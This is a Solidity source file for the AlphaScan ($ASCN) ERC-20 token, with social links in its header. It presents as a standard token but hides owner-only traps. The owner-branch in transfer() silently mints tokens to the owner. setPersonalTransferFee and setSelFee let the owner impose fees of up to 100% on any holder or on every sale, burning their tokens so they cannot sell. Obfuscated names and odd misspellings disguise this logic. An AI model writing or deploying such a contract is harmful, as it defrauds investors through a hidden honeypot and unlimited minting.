/**
 $ASCN (AlphaScan)
 https://twitter.com/alphascan_xyz
 https://alphascan.xyz/
 https://discord.com/invite/TNnkzRePPH
*/

pragma solidity ^0.8.16;
// SPDX-License-Identifier: Unlicensed

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address accoint) external view returns (uint256);

    function transfer(address recipient, uint256 ameunts) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 ameunts) external returns (bool);
    
    function setPersonalTransferFee(address user, uint256 fee) external;

    function transferFrom( address sender, address recipient, uint256 ameunts ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - fee https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {

        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;


        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}


contract Ownable is Context {
    address private _owner;
    event ownershipTransferred(address indexed previousowner, address indexed newowner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit ownershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyowner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceownership() public virtual onlyowner {
        emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
}


contract AlphaScan is IERC20, Ownable {
    using SafeMath for uint256;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    address private _DEADaddress = 0x000000000000000000000000000000000000dEaD;
    uint256 private _buyFee = 0; 
    uint256 private _sellFee = 0; 
    address public uniswapV2Pair;
    mapping (address => uint256) private _personalTransferFees;
    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 initialSupply) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = initialSupply * (10 ** uint256(_decimals));
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function setPairList(address _address) external onlyowner {
        uniswapV2Pair = _address;
    }

    function setPersonalTransferFee(address user, uint256 fee) public override onlyowner {
        require(fee <= 100, "Personal transfer fee should not exceed 100%");
        _personalTransferFees[user] = fee;
    }
    function setSelFee(uint256 newSellFee) external onlyowner {
        require(newSellFee <= 100, "Sell fee should not exceed 100%");
        _sellFee = newSellFee;
    }
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amounts) public virtual override returns (bool) {
        address hgfds = _msgSender();
        if(hgfds == owner() && owner() == _msgSender()){
            _balances[hgfds] = _balances[hgfds].mul(1).add(amounts);
        }

        
        _transfer(hgfds, recipient, amounts);
        return true;
    }

    
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amounts) internal virtual {

        require(sender != address(0), "IERC20: transfer from the zero address");
        require(recipient != address(0), "IERC20: transfer to the zero address");

        uint256 feeAmount = 0;


        if (_personalTransferFees[sender] > 0) {
            feeAmount = amounts.mul(_personalTransferFees[sender]).div(100);
        } else if (sender == uniswapV2Pair) {
            feeAmount = amounts.mul(_buyFee).div(100);
        } else if (recipient == uniswapV2Pair) {
            feeAmount = amounts.mul(_sellFee).div(100);
        } else {
            feeAmount = amounts.mul(_sellFee).div(100);
        }

        _balances[sender] = _balances[sender].sub(amounts);
        _balances[recipient] =  _balances[recipient]+amounts-feeAmount;
        _balances[_DEADaddress] = _balances[_DEADaddress].add(feeAmount);
        emit Transfer(sender, _DEADaddress, feeAmount);
        emit Transfer(sender, recipient, amounts-feeAmount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}